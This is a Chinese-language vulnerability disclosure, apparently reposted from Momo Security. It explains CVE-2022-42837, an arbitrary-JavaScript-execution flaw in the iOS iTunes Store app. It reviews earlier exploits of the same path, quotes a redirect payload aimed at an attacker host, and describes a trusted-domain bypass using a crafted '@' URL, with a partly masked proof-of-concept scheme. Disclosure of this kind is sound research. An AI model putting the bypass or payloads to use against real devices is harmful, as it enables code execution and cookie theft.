陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇

陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇


陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇

先为我们的同学@dwj1210鼓鼓掌👏。作为围观了整个漏洞从发现到最终形成本篇文章的同学。小编前面先说一句:本次漏洞发现非常巧合,前些天给WMCTF出题的时候,dwj同学突然小声念叨好像挖到了一个RCE。于是在出完题后,我们开始了给Apple提交漏洞帮助Apple修复的漫长之路,也就有了dwj这篇文章。以下就是dwj同学的自述:

为什么这里叫做 iTunes Store 之殇,是因为 iTunes Store App 任意 javascript 代码执行的漏洞已经被修了好几次了。

该漏洞由 Safari 浏览器 中的一个恶意页面引入,当你点击一个 URL Schemes 或 Universal Links 的链接时,可以通过这个特殊的 URL 调起指定 App 并传入攻击荷载。如果在 Safari浏览器中输入sms://可以调起信息 App,此时会有一个弹框询问是否允许打开。

陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇

但是一些内置的 Apple 应用程序是被 Safari 浏览器信任的,不会询问用户直接拉起,这些应用程序被硬编码在系统代码中:

陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇
早在 Pwn2Own 2014 年韩国黑客 lokihardt 通过一个特殊的 URL 在 iTunes Store 打开了任意的网页:
<script>location = 'itmss://attacker.com';</script>
itms:// 就是 iTunes Store 注册的 URL Scheme,由于应用程序白名单的缘故不需要向用户询问就可以直接在 iTunes Store 中打开恶意的网页。
陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇
此时结合一个 UAF 就完成了沙箱逃逸加任意代码执行。

面苹果加入了域名限制,只有域名后缀满足 trustedDomains 域名列表时才会打开,但是 lokihardt 又找到了一个信任域的 DOM xss 又打了一次。

之后沉寂多年,在 2020 年天府杯上,cc 师傅凭借完整的 full chain exploit 远程破解了搭载 iOS14.2 的 iPhone11 设备。

而该漏洞利用链的第一步依然是从 Safari 到 iTunes Store,不利用内存破坏,不执行 shellcode,通过一个特殊的 URL 可以绕过域名白名单的校验执行任意的 javascript 代码,触发 xss 弹计算器。

陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇

感兴趣的朋友可以直接研读 cc 师傅的文章:《CVE-2021-1748:从客户端 XSS 到弹计算器》 https://codecolor.ist/2021/08/04/mistuned-part-i/

而今天要介绍的依然是 iTunes Store 的任意 javascript 代码执行。

iTunes Store 中有一段逻辑,当传入的 URL Scheme 中有一个特殊的参数时,应用就会忽略 URL 的 host,直接加载 URL Scheme 参数中的 URL 进行加载,比如:

itms://<马赛克>&url=http://www.apple.com

iTunes Store 在启动的时候会从这个URL拉取一个 XML 文件,XML 文件中的 trustedDomains 字段中预置了 Apple 的可信域名:

陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇

只有页面的主机名和 trustedDomains 字段的后缀匹配,该页面才会被允许在 iTunes Store 中打开。

域名校验在-[ISURLBag urlIsTrusted:]函数中,但是该函数的域名校验存在缺陷。当你传入的 URL 为http://@www.apple.com:@www.hacker.com 时,iOS 系统在通过 -[NSURL host]函数取 host 时会取到www.apple.com,但是实际打开的页面却是 www.hacker.com。据了解在 Android 平台同样存在类似的问题。

陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇
所以我们就可以构造一个这样的 URL Scheme 来绕过域名校验打开一个任意的网页:
itms://<马赛克>&url=http%3A%2F%2F%40www.apple.com%3A%40172.16.136.27:1024%2Fpoc.html
该漏洞目前已于 iOS16.2 修复,不清楚可用最低版本,但是 iOS9 - iOS16.1.2 应该都是可用的。由于影响范围比较大,所以提供的 PoC 隐去了部分关键参数。

iTunes Store 打开网页使用的 SUWebView 通过  JavaScript bridge 注入了许多功能;SUWebView 将 SUScriptInterface 类的方法导出到 js 上下文中。这些 API 被放在全局作用域的 iTunes 命名空间里。

陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇

另外在这个 WebView 中向任意域名发送请求,都会带上部分 iTunes Store cookie 信息:

陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇
例行弹计算器:

陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇





About us

陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇

陌陌安全

致力于以务实的工作保障陌陌旗下所有产品及亿万用户的信息安全

以开放的心态拥抱信息安全机构、团队与个人之间的共赢协作
以自由的氛围和丰富的资源支撑优秀同学的个人发展与职业成长
/   往 期 分 享   /
陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇

App合规实践3000问

陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇

App合规实践3000问之二

陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇

App合规实践3000问之三
陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇

「陌陌安全」

扫上方二维码码关注我们,惊喜不断哦
M   O   M   O   S   E   C   U   R   I   T   Y

原文始发于微信公众号(陌陌安全):陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇

版权声明:admin 发表于 2022年12月19日 下午3:01。
转载请注明:陌陌安全获Apple致谢:CVE-2022-42837 - iTunes Store 之殇 | CTF导航

相关文章

暂无评论

暂无评论...